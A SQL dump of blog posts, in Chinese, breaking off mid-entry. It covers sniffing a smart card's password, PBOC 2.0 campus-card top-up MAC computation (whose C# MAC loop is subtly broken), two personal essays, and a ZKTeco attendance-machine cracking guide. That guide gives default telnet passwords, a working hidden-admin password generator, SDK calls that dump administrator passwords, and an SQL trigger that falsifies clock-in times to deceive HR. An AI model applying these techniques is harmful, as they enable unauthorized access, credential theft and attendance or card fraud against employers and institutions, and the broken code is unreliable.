以上。当然采样率不是越高越好，因为一般来说信号分析仪一次能采样的数据是有限的，如果采样率太高，得到的实际数据就会很短，也许还没等到校验密码出来就采样完了。\n\n按照既定的方法进行监听，找到命令字为 0x33 的数据，读取密码电平就可以了。需要注意的是字节中位出现的顺序是从低位到高位的，找的时候从低位找起，比如 0x33 你应该找 `1100 1100`，紧接着的是地址字，然后就是密码字了。按此方法监听到三个字节，即是密码。\n\n![SR](/upload/20211128_19574448.png \"SR\")\n<center>感谢某热心网友提供逻辑分析仪结果</center>\n\n如上图，需要注意的有几点：\n- CLK 的脉冲在数据读写进行时一般都很规律，虽然偶尔会出现周期拉长/缩短，但不影响卡片读写。\n- CLK 下降沿以后，机具开始准备数据，当下个 CLK 上升沿时，读该上升沿位置对应的 I/O 高低电平即可知道数据。\n- 校验密码的过程并不一定马上出现，机具可能会先读取卡片公共区域的数据，当需要读写卡片保护区之前，才进行密码校验。所以需要耐心分析结果。\n- 图上地址字是 0x03，意味着这已经是第三个密码字了，前面还有两个。\n- 该热心网友使用的是 2MHz 的采样率。', 0, 1860, '', 1, 0, '2016-07-10 19:39:12', '2021-11-28 19:57:59');
INSERT INTO `tb_post` VALUES (11, -1, 0, 0, 1, 'PBOC 2.0 密钥计算（C#）', NULL, 0, 'pboc-key-calculation', '', '最近在分析PBOC卡的读写。手头有一些基于PBOC 2.0标准的ISO 14443A-4 CPU卡，其实就是我的校园卡。\n\n介绍的话就不多说了，直接切入正题，讲解PBOC 2.0标准下的一卡通的圈存过程，并附上过程中所需密钥的相应算法（C#）。文中所有命令中的数据皆为16进制值。阅读本文需要对PBOC 2.0标准有一定的了解。\n<!--more-->\n\n**01 预备圈存**\n\n机器发送圈存预备命令到卡。命令格式为\n```\n字节[长度]   说明\n80 50 00    圈存预备命令字\nXX[1]       应用标识，01为电子存折（ED），02为电子钱包（EP）\n0B\nXX[1]       密钥索引号\nXX[4]       圈存金额\nXX[6]       设备编号\n10\n```\n1字节应用标识，一般的非银行类消费应用基本都是电子钱包，这张校园卡亦然。故此处标识为02。\n1字节密钥索引号。校园卡所用密钥索引号为01。\n4字节圈存金额计算方法如下\n```csharp\nint money;\n// 金额\nbyte[] moneyArray = new byte[] { \n    ((byte)(money / 256 / 256 / 256)), \n    ((byte)(money / 256 / 256)), \n    ((byte)(money / 256)), \n    ((byte)(money % 256)) \n};\n```\n假设要充值的金额为12.34元，则money = 1234, 计算得四字节数据为`00 00 04 D2`。\n6字节设备编号。不同的一卡通系统所用的明文编号到字节编号的转换方式不尽相同。校园一卡通的转换方式为BCD码转换。若设备编号为229312324358，则6字节设备编号为`22 93 12 32 43 58`。\n综上，要使用编号为229312324358的设备给使用电子钱包、密钥索引为01的校园卡充值12.34元，完整命令为`80 50 00 02 0B 01 00 00 04 D2 22 93 12 32 43 58`\n发送命令后，卡片返回数据。格式为\n```\n字节[长度]   说明\nXX[4]       ED或EP余额\nXX[2]       ED或EP交易序号\nXX[1]       密钥版本号\nXX[1]       算法标识\nXX[4]       伪随机数\nXX[4]       MAC1\n```\n同样，返回的余额计算方法就是上面的逆过程。\n此处的 MAC1 为 CPU 卡根据自身的伪随机数进行加密计算的，计算方法在后文会提到。\n\n**02 圈存**\n\n得到上面返回的值以后，圈存机按照密钥版本号，从 PSAM 卡中获取相应的密钥。圈存操作使用的密钥为 MLK，消费/取现所用密钥为 MPK。而后圈存机根据算法标识和伪随机数，计算得出自己的 MAC1，并与卡片返回的 MAC1 进行比较。若一致则视为合法卡片，进行圈存操作。\n\n约定通过 MLK 和卡号一并计算得到 DLK，通过 MPK 和卡号计算得到 DPK。DLK 用于圈存，DPK 用于消费/取现，且仅对当前卡片有效。除此之外，还有仅对单次操作有效的 SESLK 和 SESPK。MLK/MPK、DLK/DPK、SESLK/SESPK 三者的关系如下：\n![MDSES](/upload/20211128_21014337.png \"MDSES\")\n\n对于圈存机，从 PSAM 卡中获取 MLK 后，将其与卡号一起作为输入计算出 DLK。\n\n计算 DPK 或 DLK 的方法CalDPKOrDLK代码如下\n```csharp\npublic static byte[] CalDPKOrDLK(byte[] MPKOrMLK, byte[] cardNo)\n{\n    byte[] left = new byte[8];\n    byte[] right = new byte[8];\n    byte[] DPKOrDLK = new byte[16];\n    // 生成 DPKOrDLK 的左半部分\n    left = TripleDES(MPKOrMLK, cardNo);\n    for (int i = 0; i < 8; i++)\n    {\n        cardNo[i] = (byte)~cardNo[i]; // 对卡号每一位求反\n    }\n    // 生成 DPKOrDLK 的右半部分\n    right = TripleDES(MPKOrMLK, cardNo);\n    Array.Copy(left, DPKOrDLK, 8);\n    Array.Copy(right, 0, DPKOrDLK, 8, 8);\n    return DPKOrDLK;\n}\n```\nTripleDES代码如下\n```csharp\npublic static byte[] TripleDES(byte[] Key, byte[] inData)\n{\n    SymmetricAlgorithm sa = new TripleDESCryptoServiceProvider();\n    byte[] _Key = new byte[16];\n    Array.Copy(Key, _Key, 16);\n    sa.Key = _Key;\n    sa.IV = new byte[] { 0, 0, 0, 0, 0, 0, 0, 0 };\n    sa.Mode = CipherMode.ECB;\n    sa.Padding = PaddingMode.Zeros;\n    ICryptoTransform ct = sa.CreateEncryptor();\n    using (MemoryStream ms = new MemoryStream())\n    {\n\n        using (CryptoStream cs = new CryptoStream(ms, ct, CryptoStreamMode.Write))\n        {\n            cs.Write(inData, 0, inData.Length);\n            cs.FlushFinalBlock();\n        }\n    return ms.ToArray();\n    }\n}\n```\n请注意 TripleDES 所用的填充模式为 Zeros，加密模式为 ECB。这与后面计算 MAC 时所用的填充模式和加密模式会有不同。\n获得了 DLK 之后，需要计算本次操作所需的长度为 8 字节的 SESLK。代码如下\n```csharp\nbyte[] SESLK = TripleDES(DLK, ucData);\n```\n其中byte字节数组变量 ucData 结构如下\n```\n字节[长度]   说明\nXX[4]       ED或EP余额，从准备圈存过程返回的数据中获得\nXX[2]       ED或EP交易序号，同上\n80 00\n```\n获得本次操作所需的SESLK之后，即可计算本次所需的MAC1。计算MAC方法CalMAC代码如下。\n```csharp\npublic static byte[] CalMAC(byte[] ucData, int ucDataLen, byte[] SESLK)\n{\n    byte[] macData = new byte[2048];\n    byte[] result = new byte[4];\n    Array.Clear(macData, 0, macData.Length);\n    Array.Copy(ucData, macData, ucDataLen);\n\n    // 开始进行数据填充\n    macData[ucDataLen] = 0x80;\n    if (ucDataLen % 8 != 0)\n    {\n        ucDataLen += 8 - ucDataLen % 8;\n    }\n\n    byte[] IV = new byte[8];\n    byte[] temp = new byte[8];\n    Array.Clear(IV, 0, IV.Length);\n    for (int i = 0; i < ucDataLen / 8; i++)\n    {\n        Array.Copy(macData, 8 * i, temp, 0, 8);\n        for (int j = 0; j < 8; j++)\n        {\n            IV[i] ^= temp[i];\n        }\n        temp = DES(SESLK, IV, CipherMode.CBC, PaddingMode.None, temp, true);\n        Array.Copy(temp, IV, 8);\n    }\n    Array.Copy(temp, result, 4);\n    return result;\n}\n```\n以上方法的输入数据要经过填充处理。首先需要在输入数据后拼接0x80，若拼接后总长度不为8的整数倍，则一直往后拼接0x00直到数据长度为8的整数倍为止。由于此处macData已经预先填充了0，只需将ucDataLen的值增加到能被8整除即可。\n运用DES计算得到的输出值实际上长度为8字节，而根据PBOC标准，MAC得到结果大于4字节的部分填充为0。由于卡片返回的MAC1和圈存所需的MAC2皆为4字节，故方法内直接对MAC进行截断，取前4字节。\n所用DES算法如下\n```csharp\npublic static byte[] DES(byte[] Key, byte[] IV, CipherMode cm, PaddingMode pm, byte[] inData, bool encode)\n{\n    if (Key.Length < 8 || IV.Length < 8)\n        return null;\n    byte[] _Key = new byte[8];\n    byte[] _IV = new byte[8];\n    Array.Copy(Key, _Key, 8);\n    Array.Copy(IV, _IV, 8);\n    try\n    {\n        SymmetricAlgorithm sa = new DESCryptoServiceProvider();\n        sa.Key = _Key;\n        sa.IV = _IV;\n        sa.Mode = cm;\n        sa.Padding = pm;\n        ICryptoTransform ct = null;\n        if (encode)\n            ct = sa.CreateEncryptor();\n        else\n            ct = sa.CreateDecryptor();\n        using (MemoryStream ms = new MemoryStream())\n        {\n            using (CryptoStream cs = new CryptoStream(ms, ct, CryptoStreamMode.Write))\n            {\n                cs.Write(inData, 0, inData.Length);\n                cs.FlushFinalBlock();\n            }\n            return ms.ToArray();\n        }\n    }\n    catch (Exception)\n    { \n        throw;\n    }\n}\n```\n此处DES的填充模式为None，加密模式为CBC。当初在这里没少走弯路。\n显然，有\n```csharp\nbyte[] MAC1 = CalMAC(ucData, 15, SESLK);\n```\n其中ucData格式为\n```\n字节[长度]   说明\nXX[4]       ED或EP余额，从准备圈存过程返回的数据中获得\nXX[4]       交易金额\nXX          交易类型标识，圈存为02\nXX[6]       终端机编号\n```\n而后便可以进行MAC1的比对工作。\n　　\n　　\n比对完MAC1之后，就要计算MAC2。类似地，有\n```csharp\nbyte[] MAC2 = CalMAC(ucData, 18, SESLK);\n```\n其中ucData格式为\n```\n字节[长度]   说明\nXX[4]       交易金额\nXX          交易类型标识，圈存为02\nXX[6]       终端机编号\nXX[4]       交易日期。如2008年2月27日，则为20 08 02 27\nXX[3]       交易时间。如14时23分57秒，则为14 23 57\n```\n而后生成MAC2后，便可生成下一步的命令ucCMD,结构如下\n```\n字节[长度]           说明\n80 52 00 00 0B      圈存指令\nXX[4]               交易日期。同上\nXX[3]               交易时间。同上\nXX[4]               MAC2\n04\n```\n将其发送至卡片，卡片验证通过后会增加金额，同时返回TAC。鉴于学校圈存并不对TAC进行处理，便不再展开。', 0, 302, '', 1, 0, '2017-05-10 20:26:55', '2021-11-28 21:01:58');
INSERT INTO `tb_post` VALUES (14, -1, 0, 0, 1, '喜欢是想睡她，爱是想陪她睡', NULL, 0, 'slept-with-her', '', '![Colorful](/upload/20211128_20593771.jpg \"Colorful\")', 0, 266, '', 1, 0, '2017-12-30 02:56:23', '2021-11-28 21:00:08');
INSERT INTO `tb_post` VALUES (18, -1, 0, 0, 1, 'If you know the end', NULL, 0, 'if-you-know-the-end', '', '开春的时候，我骑着电动车偷偷找阿婷约会。我们一起吃了我已经不记得名字的餐馆，也和阿婷说了很多我已经不记得的话。事实上那时候也并不是开春，因为南方只有冬夏。\n\n走在绿城偶尔破败的人行道上，地砖这里凸一块那里凹两块。大榕树的树根从围栏冲出来，阳光被树叶打碎成很多块。我牵着阿婷的手，时不时侧过脸看她。她把眼睛眯成一条线，很不好意思地说，你看着我干嘛。\n\n我总是习惯说没干嘛。\n\n\n有时候觉得和阿婷聊天很开心。我和检测说，和阿婷打电话的话，就只说正事，不聊骚。但是当阿婷在微博私信里和我搞黄色，我又感觉到无所适从。不是我不想搞黄色，也不是怕被戴小姐逮住了没有好果汁吃，而是对方给我太多我没办法还的时候，我更想逃离那种负罪感。\n\n也许阿婷也是知道的，因为对她有好感的其中一个男生，即使我告诉她可以尝试着去了解一下对方，她也觉得这是在养鱼，而养鱼不好。我问那个男生条件怎样，她说对方是玩乐队玩机车的。我半开玩笑地说，对方应该很有钱嘛，要不要试试看。她认真地说，我谈恋爱是奔着结婚去的，对方可能很适合谈恋爱，但不适合结婚。我说我也是这么想的。\n\n她说，好想和你在一起哦，但是感觉希望很渺茫。我说嗯。\n\n然后我们良久没有说话。', 0, 282, '', 1, 0, '2019-04-07 00:37:59', '2021-12-29 22:48:49');
INSERT INTO `tb_post` VALUES (19, -1, 0, 0, 1, '中控考勤机破解杂记', NULL, 0, 'zkteco-attendance-machine-cracking', '![你好，我叫吴彦祖](/upload/20211128_17394115.jpg \"你好，我叫吴彦祖\")\n性感彦祖，在线迟到。', '> **本文仅做信息安全学习记录讨论，请勿用于非法用途。**\n> 2022 年 8 月 8 日更新：修改行文逻辑和章节；新增新版超管密码算法，见 0x02 章节。\n> 评论区有一些有用的信息。\n\n## 0x00 引言\n记录一下调戏中控考勤机的一些笔记。\n\n中控考勤机基本上被研究烂了，所以与其说是破解，不如说是扩展。不过玩这些的应该大多都是人事？意味着去扩展的人应该还是少数。\n\n- 默认远程 telnet 用户名 `root`，可能的密码：\n	- `solokey`（被工厂初始化后的密码）；\n	- `pd*@&jz%+`（2008年左右的密码，感谢评论指出）；\n	- <code>q4`,B~->q4`,B~->_%+|]g</code>（[网络资料](https://www.52pojie.cn/thread-1558334-1-1.html)）。\n- 隐藏的超管用户`8888`，和与时间有关的动态密码；\n- 通过 TCP 4370 端口读取用户信息，包含管理员明文密码；\n- 其他：80 端口，旧版彩屏机提供的后台网页，功能很少，设计很烂，现已不常见。本文不表。\n\n**修改打卡时间的思路**：\n\n1. 修改时间补卡。可以通过超管 8888（见 0x02 章节）或者 SDK（见 0x05 章节）修改时间，然后补卡。前提是考勤表是类似于课程表那种，或打卡信息按照考勤机打卡时间顺序升序，而非真实先后顺序升序排序打卡时间（见 0x03 章节）；\n2. 获取并修改 ZKDB.db 文件\n	- ZKDB.db 类型为 SQLite3 格式文件（见 0x01 章节）；\n	- 如果你有了 telnet 权限，参考 0x01 使用 tftp 命令将文件传输至电脑即可；\n	- 如果你无法进入 telnet，可以通过超管 8888（见 0x02 章节）或者 SDK（见 0x05 章节）将自己设为管理员后进入后台，并确认考勤机版本较新，这样可以在后台通过 U 盘将考勤机数据备份出来，其中就有 `ZKDB.db`，修改完成后将备份还原到考勤机上；\n	- 参考 0x04 章节对 ZKDB.db 新增触发器，每日打卡时自动调整时间；\n	3. 社会工程学搞定人事（见<del>《我和人事小姐姐的故事》</del>）。\n\n## 0x01 考勤机 Telnet 后台\n\n`pd*@&jz%+`这个密码我还没有在任何考勤机上见过。需要注意的是，在默认设置下，考勤机的 IP 地址是 192.168.0.201。如果在无权限进入管理界面时接入内网，需要确认内网 IP 段是 192.168.0.* 、默认 IP 未修改且未被占用。\n\n**2022-08-06 修改：**\n\n评论区有人指出新版考勤机已经不适用 telnet 密码。我买了个考勤机来试了试，同型号的有的支持 solokey，有的不支持，猜测新版固件已经更改。有老哥获取了 passwd 文件放在评论区，密码是加了盐的 MD5，我自己在 CMD5 没有查到相应结果，有条件的大神可以拿来爆破下。但根据新版超管的密码算法，我感觉应该跟序列号有关，爆破可能不通用。\n\n### 数据库类型\nSQLite3，这点可以从 /mnt/mtdblock/data/ 下的 sqlite3 相关文件看出来。\n\n```\n# ls -l /mnt/mtdblock/data\ntotal 1316\n-rwxrwxrwx    1 root     root        381952 Apr 26 09:12 ZKDB.db\n-rwxrwxr-x    1 1002     1002         22528 Apr 16 08:26 ZKSystem.db\n-rwxrwxr-x    1 1002     1002          2294 May 26  2016 sql-generater.sh\n-rwxrwxr-x    1 1002     1002        103337 May 26  2016 sqlite3_mips\n...\n```\n\n其中 `ZKDB.db` 就是考勤数据库文件， `ZKSystem.db` 是系统配置数据库文件，`sqlite3_mips` 是操作 SQLite3 数据库的 ELF 文件，可以知道该考勤机系统架构是 MIPS ，从 sql-generater.sh 文件内容来看，还有 ARM 架构。\n\n### tftp / ftpput / ftpget\n考勤机上安装了 Busybox, 支持 tftp，可以通过它来传输文件。在 Windows 上开启 tftp 客户端/服务器，你需要 [TFTP](http://tftpd32.jounin.net/). 当然也有 ftpget 和 ftpput 可供选择。\n\n到这就意味着你基本上可以修改打卡机上的任意文件和数据，包括考勤记录，用户照片，考勤机背景图片，甚至是打卡成功提示音。\n\n\n## 0x02 超管 8888\n\n工号 8888 是中控考勤机的一个特殊用户，当人工录入的工号没有覆盖掉 8888 这个工号时，该工号可以作为考勤机忘记密码时的后门账户，输入特定密码进入管理后台进行维护。按照正常途径，你要获取这个密码，是需要向中控官方提交加盖公司公章的承诺书后，中控官方才会告诉你。\n\n<span style=\"color:var(--curr-active);font-weight:bold\">注意：8888 的密码和 TELNET 密码不是同一个密码，不通用。</span>\n\n### 密码算法 1\n适用于旧版的彩屏考勤机，假设当前时间为16:43，则动态密码为(9999-1643)<sup>2</sup>=69822736。\n\n这个版本的密码网上到处都是，但新版已经不适用了。通过分析 MIPS 版本的 [libverify.so](/upload/20211128_17410827.zip \"MIPS 版 libverify.so\")，获得如下可能的新算法。\n\n### 密码算法 2\n首先，通过简单验证输入的 PIN 是否为超管 PIN 8888，如果是，则进入超管账号的验证流程。进入后，机器获取名为「BreakNormal」的配置，如果配置存在且不为 0，则采用前文的**密码算法1**进行验证，反之进入如下的新版流程：\n\n1. 通过 ngx_crc32_short 和中控的自选算法，计算出机器序列号的校验值，并用 999999 - 校验值，得到数 A，由于该算法得到的校验值结果恒小于 900000，故 A 必为 6 位。此处假设得到的 A = 995764；\n2. 提供某个长度小于等于 8 位的密码，该密码满足：\n	- 密码的最后一位 = 前面所有位的和 + 5 的结果的最后一位，比如密码前所有位为 1234567，则 1 + 2 + ... + 7 = 28，28 + 5 = 33，最后一位是 3，所以最后密码为 12345673\n3. 取密码前所有位数 B，此处 B = 123456；如果不满 6 位的，在前面补 0；\n4. 将 A 从高位到低位两两分组，得到 A1A2A3（如 A = 995764 时，A1 = 99，A2 = 57，A3 = 64，下同），对应的 B 划分得到 B1B2B3，用 A3 - B1，A2 - B2，A1 - B3，得到新的三组数 C1C2C3，将其按顺序合并得到新数 C = 269169；如果 C1/C2/C3 小于 100 的，加上 100 再拼接；\n5. 将当前日期时间戳（秒数）通过自选算法计算得到时间戳校验值 D；\n6. 若 144 < C - D < 8641，则视为合法的动态密码。\n\n实测的时候发现一个问题：第 6 步的 C - D 的值，按照分析结果需要落在  (144, 8641) 区间内，但实测结果是其他区间。我机器上尝试出来的下界是 3023，上界暂未测出来。\n\n> 下面是我编写的密码生成算法的测试，第一个框输入序列号，第二个框输入 offset，点生成密码即可。offset 可能需要你自己尝试。我用 5000 在我自己的机器上是没有问题的。-999999 这样的大负数也没问题。\n\n<style>.zk-input,.zk-textarea{margin-bottom:10px;font-size:14px;display:block;width:100%;text-indent:10px;height:38px;margin-bottom:20px;line-height:1.3;border:1px solid var(--curr-border-color);border-radius:2px}.zk-btn:hover{opacity:.8;filter:alpha(opacity=90);color:#fff}.zk-btn{line-height:38px;border:1px solid var(--curr-border-color);transition:all .1s ease-in;padding:0 18px;background-color:#000;color:#fff;white-space:nowrap;text-align:center;font-size:14px;border-radius:3px;cursor:pointer}</style>\n<div style=\"padding: 20px;width:61.8%;margin:0 auto\">\n    <input class=\"zk-input\" type=\"text\" value=\"4564104100050\" placeholder=\"机器码\" name=\"serialNumber\" />\n    <input class=\"zk-input\" type=\"number\" value=\"-999999\" placeholder=\"偏移\" name=\"offset\" />\n    <input class=\"zk-input\" type=\"text\" value=\"\" placeholder=\"yyyyMMdd格式，留空则取现在日期\" name=\"date\" />\n    <button class=\"zk-btn\" style=\"width:calc(100% + 7px)\" id=\"zk-generate-pass\"> 生成密码 </button>\n</div>\n<script src=\"/blog/plugins/zkteco/zkteco.js\"></script>\n<script>\nvar passbtn = $(\'#zk-generate-pass\'), serialNumberEl = $(\'[name=serialNumber]\'), offsetEl = $(\'[name=offset]\'), dateEl = $(\'[name=date]\');\npassbtn.on(\'click\', function () {\n    passbtn.text(getPassword(serialNumberEl.val(), parseInt(offsetEl.val()), dateEl.val()));\n});\n</script>\n<center>这里不是图片，是可以真实操作的</center>\n\n如果结果是 `NaN`，或者得到的密码位数不为 8 位，或者输入后密码错误，请更换 offset 的值再尝试。**评论区已经有老哥尝试成功，他的考勤机序列号还是带字母的，也可以用**。\n\n这个密码有几个特性：\n\n1. 由于用于计算的时间戳去除了时分秒的影响，故密码在同一天内都有效；\n2. offset 的取值不同时，得到的密码不同，但大部分都是有效的密码，意味着当日内的合法密码不止一组。\n\n需要注意的是：时间戳的时间是**本地时间**，为了模拟本地时间戳，我用 js 生成时间戳（UTC 时间）后减去了 28800（我这里是 GMT+8，和 UTC 的偏移就是 28800 秒）。如果你需要将 js 版本改写成其他语言版本，请务必注意你所用的语言的时间特性。\n\n## 0x03 考勤记录导出 Excel 表时的排序\n\n大部分新版本导出的记录是类似于课程表一样的格式，不存在所谓的排序问题。其他版本导出的 sheet1 是工号 + 打卡时间，sheet2 是工号 + 姓名，需要使用 Excel 的`VLOOKUP`函数来进行表透视，但为了方便理解，此处直接采用姓名 + 打卡时间来讲解旧版格式。\n\n低版本考勤机是按照插入表的先后顺序排列的。举个简单的例子，小田于 2020 年 4 月 23 和 25 号正常打卡，但是 24 号他忘了打卡。于是 25 号这天他进入管理后台，将考勤机系统时间改成 24 号，打了两次卡后再改回 25 号。按理来说，我们期望导出的记录是这样的：\n\n姓名|打卡时间\n----|----\n小田|2020-04-23 08:29:23\n小田|2020-04-23 18:33:19\n**小田**|**2020-04-24 08:30:12**\n**小田**|**2020-04-24 18:30:59**\n小田|2020-04-25 08:45:37\n小田|2020-04-25 19:04:25\n\n但如果小田公司用的是低版本考勤机，那么当他按照上面流程操作后，导出的记录是这样的：\n\n姓名|打卡时间\n----|----\n小田|2020-04-23 08:29:23\n小田|2020-04-23 18:33:19\n小田|2020-04-25 08:45:37\n小田|2020-04-25 19:04:25\n**小田**|**2020-04-24 08:30:12**\n**小田**|**2020-04-24 18:30:59**\n\n也就是说，旧版考勤机上，是按照实际打卡的先后顺序排序，而非打卡时考勤机的时间顺序。实际上，在旧版考勤机上，导出的记录是多人混杂的，实际情况会更加复杂：\n\n姓名|打卡时间\n----|----\n小田|2020-04-25 08:45:37\n刘英|2020-04-25 08:46:23\n永强|2020-04-25 08:47:51\n刘英|2020-04-25 18:58:47\n小田|2020-04-25 19:04:25\n永强|2020-04-25 19:23:09\n小田|2020-04-24 08:30:12\n小田|2020-04-24 18:30:59\n\n\n如果人事小姐姐眼尖，那应该是会被发现的。**请务必注意这一点**。\n\n## 0x04 每天打卡自动调整时间\n\n> 虽然本章节篇幅很短，但其实是最有含金量的章节。相应的 inspiration 可参见评论区讨论。\n\n这个比较巧妙，不需要借助任何额外插件，一次修改终身受用。但需要你能修改 ZKDB.db 文件。\n\n这个巧妙的方式就是 `触发器`。\n\n```plantuml:svg\n@startuml\nstart\n:打卡;\n->工号、时间;\n:触发器/\nif(密码为4370)then(是)\n  if(当日打卡次数//n//)then(n=1)\n    if(是否迟到)then(是)\n      :修改当前记录至上班前;\n    else(否)\n    endif\n  elseif(n≠1)then(n=2)\n    if(是否早退)then(是)\n      :修改当前记录至下班后;\n    else(否)\n    endif\n  else(n>=3)\n  endif\nelse(否)\nendif\nend\n@enduml\n```\n\n首先，我们知道每打卡一次（无论是指纹、人脸还是密码），就相当于往考勤表里面 Insert 了一条数据。而我们的触发器，可以在 Insert 数据之后被触发。这就为我们修改打卡数据创造了条件。\n\n其次，这个触发器应该是对部分人起作用的，比如只对你起作用，~~或者和你关系很好的小姐姐和基友（们）~~，所以我们需要对打卡人的身份进行认证。这里可根据打卡人的密码进行认证，当打卡人的密码是 `4370` 的时候，就认为对这个打卡人起作用。当然你也可以根据工号来认证，不过当你需要新增或者删除起作用的人员的时候就会很麻烦。而采用上面的方法，新增 / 删除起作用人员只需将这个人的密码改成 `4370` / 改掉。至于为什么我选 `4370`，这是因为中控官方考勤软件控制打卡机的 TCP 端口号正好是 `4370`。\n\n再次，当日第一次打卡，则认为是打上班卡，第二次则认为是打下班卡，仅对这两次做触发即可。\n\n下面是当天第一次打卡时的触发器代码：\n```sql\nCREATE TRIGGER \"main\".\"ATT_CHEAT_I1\"\nAFTER INSERT -- 插入数据以后触发\nON \"ATT_LOG\"\nFOR EACH ROW\nWHEN\n    -- \"NEW\" 关键字的意思, 就是指刚被插入的那行记录\n    (SELECT \n         Password \n     FROM \n         USER_INFO \n     WHERE\n         User_PIN = NEW.User_PIN) = \'4370\'\n         -- 刚插入的记录的用户密码是 4370\n    AND\n    ((SELECT COUNT(ID) \n      FROM ATT_LOG \n      WHERE \n          User_PIN = NEW.User_PIN AND \n          Verify_Time LIKE substr(NEW.Verify_Time, 1, 11)||\'%\') = 1)\n      -- 假设打卡时间是 2020-4-26 17:14:50, 那么 NEW.Verify = \'2020-04-26T17:14:50\'\n      -- substr(NEW.Verify_Time, 1, 11) = \'2020-04-26T\', 并上\'%\'，最终就是\n      -- Verify_Time LIKE \'2020-04-26T%\', SELECT COUNT(ID) 即可获得当日打卡数\n      -- = 1 即是说明刚刚的打卡是当日第一次打卡\nBEGIN\n    -- 更新本条打卡记录\n    UPDATE ATT_LOG\n    SET\n        Verify_Time = \n        strftime(\'%Y-%m-%dT%H:%M:%S\',\n            julianday(\n                substr(NEW.Verify_Time, 1, 10) || \'T08:45:00\') -- 基准时间：当日 8 点半\n            + abs(random() % 30) * 1.0 / 24 / 60           -- 随机 + 0~29 分钟\n            + abs(random() % 60) * 1.0 / 24 / 60 / 60)     -- 随机 + 0~59 秒\n        , Verify_Type = 1 -- 代表指纹打卡，这个可以没必要改，如果你们公司不要求必须指纹打卡的话\n    WHERE ID = NEW.ID;\nEND;\n```\n\n相应的，当日第二次打卡触发器 `ATT_CHEAT_I2` 原理类似。将触发器添加至 ZKDB.db 内即可。\n\n## 0x05 使用 SDK 获取管理权限\n\n中控考勤机开放 TCP 4370 端口供官方的 SDK 对考勤机进行管理。同样，如果在无权限进入管理界面时接入内网，需要确认内网 IP 段是 192.168.0.* 、默认 IP 未修改且未被占用。\n\n默认情况下，使用 SDK 连接考勤机不需要任何验证。由于 SDK 提供的 dll 可以供二次开发使用，你可以使用多种编程语言对 SDK 进行二开，只需要调用相应 dll 内的相应方法即可，其 SDK 说明可在各大资源站下载。\n\n鉴于 Github 上中控考勤机 SDK 的项目已经足够多，此处不做代码展开，只讲几个有意思的 API。\n\n### ReadAllUserID\n> 读取所有的用户信息到PC内存中，包括用户编号，密码，姓名，卡号等，指纹模板除外。在该函数执行完成后，可调用函数 GetUserInfo、SSR_GetUserInfo 取出用户信息。\n```cpp\nbool ReadAllUserID (long dwMachineNumber) \n```\n注意到该 API 的描述，可以读取所有**用户的信息，包括密码**，也就是说管理员及其密码也在内，这就允许你获取进入后台的权限。需要注意的是，该 API 的作用是**预读取**，要获取每条用户信息，则需要调用下面的另一个 API 获取。\n\n### SSR_GetAllUserInfo\n> 取得所有用户信息。在该函数执行之前，可用 ReadAllUserID 读取到所有用户信息到内存，SSR_GetAllUserInfo 每执行一次，指向用户信息指针移到下一记录，当读完所有用户信息后，函数返回False\n```cpp\nbool SSR_GetAllUserInfo  ( \n  long dwMachineNumber,  // [in]  机器号\n  BSTR *  dwEnrollNumber,// [out] 用户号\n  BSTR *  Name,          // [out] 用户姓名，最长为16字节，偶尔需要自己做隔断\n  BSTR *  Password,      // [out] 用户密码\n  long *  Privilege,     // [out] 用户权限，0 普通用户，1 登记员，2 管理员，3 超级管理员 \n  bool *  Enabled        // [out] 用户启用标志 \n )\n```\n使用 while 循环调用该函数，即可在 ReadAllUserID 调用以后，获得用户的信息，包括**密码**。\n\n### SSR_SetUserInfo\n> 设置指定用户的用户信息，若机器内没用该用户，则会创建该用户\n```cpp\nbool SSR_SetUserInfo ( \n  long dwMachineNumber,  // [in] 机器号\n  BSTR dwEnrollNumber,   // [in] 用户号\n  BSTR Name,             // [in] 用户姓名，最长为16字节\n  BSTR Password,         // [in] 用户密码\n  long Privilege,        // [in] 用户权限，0 普通用户，1 登记员，2 管理员，3 超级管理员 \n  bool Enabled           // [in] 用户启用标志 \n )\n```\n如果你想简单粗暴新建管理员，或者将自己改为管理员，这个 API 是个不错的选择。\n\n### SetDeviceTime2\n> 设置机器时间（可指定时间）\n```cpp\nbool SetDeviceTime2 ( long  dwMachineNumber,  \n  long  dwYear,  \n  long  dwMonth,  \n  long  dwDay,  \n  long  dwHour,  \n  long  dwMinute,  \n  long  dwSecond  \n )  \n```\n这个 API 和获取密码没什么关系，但允许你通过 SDK 修改考勤机当前时间。对于新版考勤机而言，由于导出记录是根据时间升序排列的，修改时间再补打卡不会被看出来，所以可以用这种方式简单地补打卡。\n\n## 0x06 基于 Telnet 客户端的打卡机联动考勤管理系统\n\n这个基本上像个小项目一样的东西了。原理很简单，自己写业务层的增删改查就可以。为什么不选择用 SDK？因为用 SDK 不能选择查询范围，可能你读一次记录要半天，把考勤机上岗之初到现在的所有记录全都读出来了。\n\n问题是这里并没有现成的数据库连接，所以我们选择用 Telnet 命令的方式。\n\n### CURD via Telnet\n\n注意到 0x01 中提到的 sqlite3_mips，其实就是一个 SQLite3 应用，可以通过命令行进行 CURD。则用程序写一个与之相适应的 Telnet 客户端，通过输入命令和输出数据，配合正则表达式格式化输出即可。\n\n至于查询条件，请自行根据需求拼装成 SQL 语句，输入 Telnet 客户端即可。\n\n需要额外注意的是：在我这个版本的考勤机 telnet 中，会显示 [ANSI COLOR](https://mudhalla.net/tintin/info/ansicolor/)，所以格式化数据的时候，需要去除 ANSI COLOR. 鉴于我编写的 TelnetClientEx 太长，就不贴出来了（2022-08-06：实际上代码已经完全丢失了）。\n\nJava 版本使用示例：\n```java\nprivate TelnetClientEx getTelnet() {\n    TelnetClientEx telnet = new TelnetClientEx();\n    telnet.setColored(false);\n    telnet.setCharset(\"UTF-8\");\n    telnet.connect(CacheContext.getParamValue(\"attMachineAddr\", \"192.168.0.201\"), Integer.parseInt(CacheContext.getParamValue(\"attMachinePort\", \"23\")));\n    telnet.login(CacheContext.getParamValue(\"attMachineUser\", \"root\"), CacheContext.getParamValue(\"attMachinePassword\", \"solokey\"));\n    return telnet;\n}\n\n/**\n * 根据 ID 获取 1 条考勤记录\n * @param id\n * @return AttLog(nullable)\n */\npublic AttLog getOne(Integer id) {\n    if(id == null) {\n        return null;\n    }\n    TelnetClientEx telnet = getTelnet();\n    try {\n        // 发送命令\n        telnet.command(\"cd /mnt/mtdblock/data/\");\n        telnet.setEndPattern(\"> \");\n        telnet.command(\"./sqlite3_mips ZKDB.db\");\n        String sqlBody = \n                \"SELECT ATT_LOG.*, USER_INFO.Name FROM ATT_LOG LEFT JOIN USER_INFO ON USER_INFO.User_PIN = ATT_LOG.User_PIN WHERE 